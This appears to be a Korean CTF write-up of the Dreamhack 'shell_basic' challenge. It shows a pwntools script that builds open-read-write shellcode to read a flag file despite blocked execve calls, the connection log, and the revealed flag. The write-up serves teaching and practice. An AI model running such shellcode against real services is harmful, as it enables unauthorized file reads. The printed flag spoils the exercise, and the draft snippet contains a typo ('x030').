shell_basic
1. Prob
입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다.
main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.
flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.
감 잡기 어려우신 분들은 아래 코드를 가지고 먼저 연습해보세요!
플래그 형식은 DH{...} 입니다. DH{와 }도 모두 포함하여 인증해야 합니다.
2. Analysis
깔끔하다. 말 그대로 shellcode를 실행시키는 프로그램으로 확인 된다. 다만 execve와 execveat 시스템 콜을 사용하지 못하도록 코드에서 막아두고 있다. flag 파일의 경로와 이름을 주기 때문에, 해당 파일을 읽는 shell code를 전송하면 될 것으로 보인다. shellcode 제작과 관련해서는 dreamhack의 shellcode 탭을 참조하도록 하며, 해당 강의에서 언급한 orw (open read write) shellcode를 작성하면 될 것 같다.
분석을 따로 진행하지는 않았으며, pwntools의 shellcraft 기능을 사용하여 문제를 풀이하였다. 본래 shellcraft는 누군가 만든 shellcode 작성 도구였으나, pwntools 등장 이후 checksec과 마찬가지로 기능이 편입되었나보다. 그 외에도 정말 많은 기능들이 있다는 것을 알게 되었다. 이 기능들을 전부 사용하게 될 지는 모르겠다...
shellcraft를 사용하여 orw shellcode를 만들 때, 각 함수의 인자로 어떤 값이 필요한지만 알고 있으면 제작은 간단하다. 단 shellcraft를 통해 생성된 쉘 코드는 어셈블리어 형태이므로 이를 opcode로 바꿔줄 수 있도록 asm 함수를 사용하도록 하며, 쉘코드가 동작할 환경의 아키텍처를 반드시 명시해야 한다.
from pwn import*
context.arch = 'amd64'
shellcode = ''
shellcode += shellcraft.open(<path_to_file>)
shellcode += shellcraft.read('rax', 'rsp', 0x30)
shellcode += shellcraft.write(1, 'rsp', x030)
sc = asm(shellcode)
3. Payload
군말할 필요 없다.
from pwn import*
p = remote('host3.dreamhack.games', 14514)
context.arch = 'amd64'
flag = b'/home/shell_basic/flag_name_is_loooooong'
shellcode = ''
shellcode += shellcraft.open(flag)
shellcode += shellcraft.read('rax', 'rsp', 0x30)
shellcode += shellcraft.write(1, 'rsp', 0x30)
p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
python shell_basic_ex.py
[+] Opening connection to host3.dreamhack.games on port 14514: Done
/home/gssong/Desktop/shell_basic_ex.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("shellcode: ")
[*] Switching to interactive mode
DH{ca562d7cf1db6c55cb11c4ec350a3c0b}
ong\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to host3.dreamhack.games port 14514